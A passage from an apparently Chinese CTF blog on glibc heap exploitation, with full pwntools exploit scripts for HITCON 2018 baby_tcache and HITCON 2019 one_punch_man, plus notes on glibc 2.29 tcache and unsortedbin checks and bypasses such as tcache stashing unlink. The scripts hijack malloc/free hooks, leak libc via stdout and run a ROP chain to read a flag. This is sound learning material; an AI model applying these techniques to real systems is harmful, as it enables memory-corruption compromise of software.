    print 'malloc_hook:',hex(malloc_hook)
    print 'gadget:',hex(gadget)
    
    #再申请出 chunk B
    Add(0x10, p64(malloc_hook))
    #p.recvuntil('> ')
    #p.sendline('2')
    #delete(1)
    sleep(1)
    #从tcache中删掉几个块
    delete(1)
    delete(2)
    #在tcache中，double free chunk B
    delete(0)
    delete(9)
    #申请 chunkB,修改 fd指针指向 malloc_hook
    Add(0x10, p64(malloc_hook))
    Add(0x10, '/bin/sh')
    #修改 malloc_hook 为 gadget地址
    Add(0x10, p64(gadget))

    #Add(0x10, 'a')
    p.recvuntil('> ')
    p.sendline('1')
    p.interactive()
pwn()

HITCON 2018 PWN baby_tcache

程序分析

image-20200926210656824

和上一题类似，也是一个 off-by-null漏洞，当我们输入与我们是申请的 size 大小一致时，会超出一个 \x00，所以也能够造成 chunk overlap。

难点是，这道题 没有了输出函数，所以需要使用 IO attack，修改 stdout 结构来泄露 Libc 地址。

利用分析

  1. 构造 chunk overlap

该题 构造 chunk overlap的方法，和上一题类似，最终是需要将 伪造的chuk 分配到 io_stdout 结构体。这里与上面的不同在与 此处能够直接伪造 prev_size，不需要如同上一题 哪样去伪造。

然后这道题，有一个思想就是 将一个块在放入 tcache后，再通过 chunk overlap 通过unsortedbin 分配来修改 tcache 的 fd 指针。

  1. 修改 stdout 结构体，泄露 libc 地址

修改 IO 结构体的方法，在之前 IO泄露 讲过，只不过现在环境换成了 2.27，但是思想差不多，主要满足：

1
2
flags= 0xfbad1800
payload = p64(0xfbad1800) + p64(0) * 3 + '\x00'
  1. 通过 double free 修改 malloc_hook 来 getshell

最后就是 通过 tcache poisoning 修改 tcache的指针指向 malloc_hook或free_hook 来 getshell。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])

debug = 1
if debug == 1:
    p = process('./baby_tcache')
    elf = ELF('./baby_tcache')
    libc = ELF('./libc.so.6')
else:
    libc = ELF('./libc.so.6')

IO_stdout_off = '\xdd\x25'
libc_off = 0x0
malloc_off = 0x0
gadgets = [0x4f3d5, 0x4f432, 0x10a41c]
def New(size, content):
    p.recvuntil('Your choice: ')
    p.sendline('1')
    p.recvuntil('Size:')
    p.sendline(str(size))
    p.recvuntil('Data:')
    p.send(content)

def Delete(idx):
    p.recvuntil('Your choice: ')
    p.sendline('2')
    p.recvuntil('Index:')   
    p.sendline(str(idx))

def pwn():
    New(0x500, 'a') #chunk 0
    New(0x68, 'b')  #chunk 1
    New(0x50, 'c')  #chunk 2
    New(0x70, 'd')  #chunk 3
    New(0x60, 'e')  #chunk 4
    New(0x68, 'f')  #chunk 5
    New(0x500-0x8, 'g') #chunk 6
    New(0x60, 'h')  #chunk 7
	#间隔 top chunk
    Delete(7)
    #chunk overlap
    Delete(0)
    #作为后续getshell时 tcache poisoning
    Delete(3)
    #作为后续 泄露时 tcache poisoning
    Delete(1)
    Delete(5)
    New(0x68, 'a'*0x60 + p64(0x510+0x70+0x60+0x80+0x70+0x70))
    Delete(6)

    New(0x500, 'a')
    #Delete(1)
    
    New(0xc0, '\x60\x07')
    #gdb.attach(p)
    New(0x68, 'b')
    New(0x60, p64(0xfbad1800) + p64(0) * 3 + '\x00')

    libc_addr = u64(p.recv()[8:14].ljust(8, '\x00'))
    libc_base = libc_addr - 0x3ed8b0
    gadget = gadgets[1] + libc_base
    free_hook = libc_base + 0x3ed8e8
    print 'libc_addr:',hex(libc_addr)
    print 'libc_base:',hex(libc_base)
    print 'gadget:',hex(gadget)
    print 'free_hook:',hex(free_hook)

    p.sendline('1')
    p.recvuntil('Size:')
    p.sendline(str(0xe0))
    p.recvuntil('Data:')
    p.send(p64(free_hook))
    New(0x70, 'd')
    New(0x70, p64(gadget))
    gdb.attach(p)
    Delete(4)
    p.interactive()

#pwn()
i = 0
while 1:
    i += 1
    log.warn(str(i))
    try:
        pwn()
    except Exception:
        p.close()
        p = process('./baby_tcache')
        continue

Glibc 2.29 tcache变化

在glibc 2.29下 tcache新增加了一些保护机制

tcache_entry 结构体新增了一个指针 key 存放在 chunk 的 bk 处，tcache_put 写入，tcache_get 清空。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);

  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;

  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  e->key = NULL;
  return (void *) e;
}

在 free一个 tcache 时，新增一个判断分支：如果 bk == key 则会遍历 tcache 检查是否有相同的 chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#if USE_TCACHE
  {
    size_t tc_idx = csize2tidx (size);
    if (tcache != NULL && tc_idx < mp_.tcache_bins)
      {
	/* Check to see if it's already in the tcache.  */
	tcache_entry *e = (tcache_entry *) chunk2mem (p);

	/* This test succeeds on double free.  However, we don't 100%
	   trust it (it also matches random payload data at a 1 in
	   2^<size_t> chance), so verify it's not an unlikely
	   coincidence before aborting.  */
	if (__glibc_unlikely (e->key == tcache))
	  {
	    tcache_entry *tmp;
	    LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
	    for (tmp = tcache->entries[tc_idx];
		 tmp;
		 tmp = tmp->next)
	      if (tmp == e)
		malloc_printerr ("free(): double free detected in tcache 2");
	    /* If we get here, it was a coincidence.  We've wasted a
	       few cycles, but don't abort.  */
	  }

	if (tcache->counts[tc_idx] < mp_.tcache_count)
	  {
	    tcache_put (p, tc_idx);
	    return;
	  }
      }
  }
#endif

绕过方式：

  • 修改 bk 使其不进入循环分支
  • 修改 size 从而修改 tc_idx
  • house of botcacke：合并 chunk1 chunk2 进 unsortedbins，将 chunk2 链进 tcache，从 chunk1 分配一个大 chunk造成 overlapped 到 chunk2 修改其 fd
  • fastbin_reverse_into_tcache

unsortedbins 检测机制

新增检查：

  • size 是否合理
  • next chunk 的 prev_size 是否等于 victim 的size
  • 双向链表完整性检查
  • next chunk 的 prev_inuse 位是否为0
1
2
3
4
5
6
7
8
9
10
if (__glibc_unlikely (size <= 2 * SIZE_SZ)
              || __glibc_unlikely (size > av->system_mem))
            malloc_printerr ("malloc(): invalid size (unsorted)");
          if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
            malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
          if (__glibc_unlikely (bck->fd != victim)
              || __glibc_unlikely (victim->fd != unsorted_chunks (av)))
            malloc_printerr ("malloc(): unsorted double linked list corrupted");
          if (__glibc_unlikely (prev_inuse (next)))
            malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");

HITCON 2019 one_punch_man

程序分析

image-20200927220539187

seccomp 保护，只有上图白名单中的 函数才能够使用。

image-20200927221727829

Delete函数，释放堆块后，没有将 堆块指针设置为 Null，那么可以通过 Edit 函数 实现 UAF 攻击。

image-20200927221338292

函数存在一个后门函数。如果 初始设置的 *(heap_ptr+0x20) > 6时，就可以申请一个 0x217 大小的 chunk。heap_ptr 在 main 函数起始时 设置为了 heap_base +0x10 ，对于glibc 2.29 该位置存储的是 tcache_perthread_struct 的 0x220 大小的 tcache_bin 的数量。也就是 我们首先需要将 0x220 大小的 tcache 填充为7，但是这样就不能再利用 tcache poisoning 的方法 修改 fd 指针达到任意地址写。因此，需要思考其他方式 tcache_stashing_unlink_attack。

前置知识House of Lore Attack

Tcache Stashing Unlink Attack 也是利用了 Smallbin 的相关分配机制进行攻击，可先了解 House of Lore：

攻击目标

分配任意指定位置的 chunk，从而修改任意地址的内存

攻击前提

能控制 Small Bin Chunk 的 bk 指针，并且控制指定位置 chunk 的fd 指针

攻击原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
 /*
    If a small request, check regular bin.  Since these "smallbins"
    hold one size each, no searching within bins is necessary.
    (For a large request, we need to wait until unsorted chunks are
    processed to find best fit. But for small ones, fits are exact
    anyway, so we can check now, which is faster.)
*/
if (in_smallbin_range (nb))
{
    idx = smallbin_index (nb);
    // 获取 small bin 的索引
    bin = bin_at (av, idx);
    // 先执行 victim = last(bin)，获取 small bin 的最后一个 chunk
    // 若结果 victim = bin ，那说明该 bin 为空。
    if ( ( victim = last (bin) ) != bin )
    {
        // 获取 small bin 中倒数第二个 chunk 。
        bck = victim->bk;
        // 检查 bck->fd 是不是 victim，防止伪造
        if ( __glibc_unlikely( bck->fd != victim ) )
            malloc_printerr ("malloc(): smallbin double linked list corrupted");
        // 设置 victim 对应的 inuse 位
        set_inuse_bit_at_offset (victim, nb);
        // 修改 small bin 链表，将 small bin 的最后一个 chunk 取出来
        bin->bk = bck;
        bck->fd = bin;
        // 如果不是 main_arena，设置对应的标志
        if (av != &main_arena)
            set_non_main_arena (victim);
        //执行更为细致的检查
        check_malloced_chunk (av, victim, nb);
#if USE_TCACHE //如果程序启用了Tcache
        /* While we're here, if we see other chunks of the same size,
        stash them in the tcache.  */
        //遍历smallbin，获取相同size的free chunk
        size_t tc_idx = csize2tidx (nb);
        //tcache存在，且tcache未满
        if (tcache && tc_idx < mp_.tcache_bins)
        {
            // 
            mchunkptr tc_victim;
            /* While bin not empty and tcache not full, copy chunks over.  */
            //判断tcache的size链表是否已满，并且取出small bin的末尾Chunk
            //验证取出的Chunk是否为bin本身(smallbin是否为空)
            while ( tcache->counts[tc_idx] < mp_.tcache_count
                   && (tc_victim = last (bin) ) != bin)
            {
                //成功取出chunk
                if (tc_victim != 0)
                {
                    //获取small bin中倒数第二个 chunk
                    bck = tc_victim->bk;
                    //设置vitcim 对应的inuse位
                    set_inuse_bit_at_offset (tc_victim, nb);
                    //如果不是Main_arena 设置对应的标志
                    if (av != &main_arena)
                        set_non_main_arena (tc_victim);
                    //tcache bin链表解链操作,取出最后一个tcache
                    bin->bk = bck;
                    bck->fd = bin;
                    //将其放入tcache中
                    tcache_put (tc_victim, tc_idx);
                }
            }
        }
#endif
        // 将申请到的 chunk 转化为对应的 mem 状态
        void *p = chunk2mem (victim);
        // 如果设置了 perturb_type , 则将获取到的chunk初始化为 perturb_type ^ 0xff
        alloc_perturb (p, bytes);
        return p;c
    }
}

在Glibc2.29中也没有对 Small bin的 malloc 做更多保护，利用点如下：

1
2
3
4
5
6
7
8
9
10
// 获取 small bin 中倒数第二个 chunk 。
bck = victim->bk;
// 检查 bck->fd 是不是 victim，防止伪造
if ( __glibc_unlikely( bck->fd != victim ) )
    malloc_printerr ("malloc(): smallbin double linked list corrupted");
// 设置 victim 对应的 inuse 位
set_inuse_bit_at_offset (victim, nb);
// 修改 small bin 链表，将 small bin 的最后一个 chunk 取出来
bin->bk = bck;
bck->fd = bin;

即如果能够控制 small bin的最后一个 chunk 的bk 指向需要修改的内存地址，通过保证 该内存地址的 fd 的指针的值 为 该 chunk 地址，就能够通过检查 __glibc_unlikely(bck->fd != victim) ，在small bin 中加入我们想要的 chunk，进而在内存的任意地址分配一个 chunk。

攻击目标

  1. 向任意指定位置写入 指定值
  2. 向任意地址分配一个 Chunk

攻击前提

  1. 能控制 Small Bin Chunk 的bk指针
  2. 程序可以越过 Tcache取 Chunk（使用 calloc 即可做到）
  3. 程序至少可以分配两种不同大小且大小为 unsortedbin 的 chunk

攻击原理

在上述在smallbin中查找的 tcache部分，可以看到没有经过 House of Lore 必须经过的检查：

1
2
3
// 检查 bck->fd 是不是 victim，防止伪造
if ( __glibc_unlikely( bck->fd != victim ) )
    malloc_printerr ("malloc(): smallbin double linked list corrupted");

在 tcache_put函数中，也没有对置入tcache做任何检查，所以可以让fake chunk进入 Tcache:

1
2
3
4
5
6
7
8
9
10
11
12
13
static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);

  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;

  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

利用分析

  1. 泄露 libc 和 heap 地址

分配并释放多个 chunk 使其进入 tcache，通过 show 函数输出 tcache bin 的 fd值来泄露堆地址。释放 small bin size 的chunk 7个填充满 tcache bin，然后再申请和释放一个 同样大小的small bin size chunk 使其进入 unsortedbin，通过 show 函数泄露 libc 地址。

  1. 修改 *(heap_ptr+0x20)的值

由于 glibc 2.29 新增了对于 unsortedbin 链表的完整性检查，使得 unsortedbin attack修改一个地址为 large value 失效。可以使用 tcache stashing unlink attack 攻击。

通过 UAF 将 malloc_hook 链入

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])

debug = 1
if debug == 1:
    p = process('./one_punch')
    elf = ELF('./one_punch')
    libc = ELF('./libc.so.6')
else:
    libc = ELF('./libc.so.6')

def New(idx, name):
    p.recvuntil('> ')
    p.sendline('1')
    p.recvuntil('idx: ')
    p.sendline(str(idx))
    p.recvuntil('hero name: ')
    p.sendline(name)

def Edit(idx, name):
    p.recvuntil('> ')
    p.sendline('2')
    p.recvuntil('idx: ')
    p.sendline(str(idx))
    p.recvuntil('hero name: ')
    p.sendline(name)

def Delete(idx):
    p.recvuntil('> ')
    p.sendline('4')
    p.recvuntil('idx: ')
    p.sendline(str(idx))

def Show(idx):
    p.recvuntil('> ')
    p.sendline('3')
    p.recvuntil('idx: ')
    p.sendline(str(idx))
    p.recvuntil('hero name: ')


def Magic(payload):
    p.recvuntil('> ')
    p.sendline('50056')
    p.send(payload)

def pwn():
    #leak heap addr
    for i in range(7):
        New(0, 'a'*0x220)
        Delete(0)
    Show(0)
    heap_addr = u64(p.recv(6).ljust(8, '\x00')) - 0xd50
    print 'heap_addr:',hex(heap_addr)
    for i in range(6):
        New(0, 'a'*0x100)
        Delete(0)
    gdb.attach(p, 'bp $rebase(0x169c)')
    New(0, 'a'*0x220)
    New(1, 'a'*0x150)
    Delete(1)
    Delete(0)
    Show(0)
    libc_addr = u64(p.recv(6).ljust(8, '\x00'))
    libc_base = libc_addr-96-0x1e4c40
    print 'libc_base:',hex(libc_base)

    New(0, 'a'*0x110)
    Delete(0)
    #chunk2 into unsortedbin, chunk1 in smallbin
    New(0, 'a'*0x220)
    New(1, 'a'*0x150)
    Edit(1, 'a'*0x30+'./flag\x00\x00')
    Delete(1)
    Delete(0)
    #0x110 chunk2 in unsortedbin
    New(1, 'a'*0x110)
    #malloc bigchunk,let chunk2->chunk1 in unsortedbin
    New(2, 'a'*0x250)

    #change chunk1'bk
    payload = 'a'*0x110 + p64(0)+p64(0x111)+p64(heap_addr+0x1920)+p64(heap_addr+0x1f)
    Edit(0, payload)

    New(1, 'a'*0x217)
    Delete(1)
    Edit(1, p64(libc_base+libc.sym['__malloc_hook']))

    New(1, 'a'*0x100)

    Magic('a')
    magic_gadget = libc_base + 0x000000000008cfd6
    Magic(p64(magic_gadget))

    pop_rdi = libc_base + 0x0000000000026542
    pop_rsi = libc_base + 0x0000000000026f9e
    pop_rdx = libc_base + 0x000000000012bda6
    pop_rax = libc_base + 0x0000000000047cf8
    syscall = libc_base + 0x00000000000cf6c5
    flag_str_addr = heap_addr + 0x1dd0+0x30
    print 'flag_addr:',hex(flag_str_addr)
    flag_addr = flag_str_addr+0x40

    orw = flat([
        pop_rdi, flag_str_addr,
        pop_rsi, 0,
        pop_rax, 2,
        syscall,
        pop_rdi, 3,
        pop_rsi, flag_addr,
        pop_rdx, 0x30,
        pop_rax, 0,
        syscall,
        pop_rdi, 1,
        pop_rsi, flag_addr,
        pop_rdx, 0x30,
        pop_rax, 1,
        syscall
    ])

    New(0, str(orw))
    p.interactive()

pwn()

参考文献

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/tcache_attack-zh/#challenge-4-hitcon-2019-one_punch_man

https://sivona.top/2020/06/09/%E8%AE%BA%E5%A6%82%E4%BD%95%E5%9C%A8glibc2-29%E4%B8%8B%E7%94%9F%E5%AD%98/

https://www.anquanke.com/post/id/198173

赏

只要你支持她，我们就是好朋友2333

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要研究：
二进制安全、漏洞挖掘
CTF菜鸡一只

天枢Dubhe 学习ing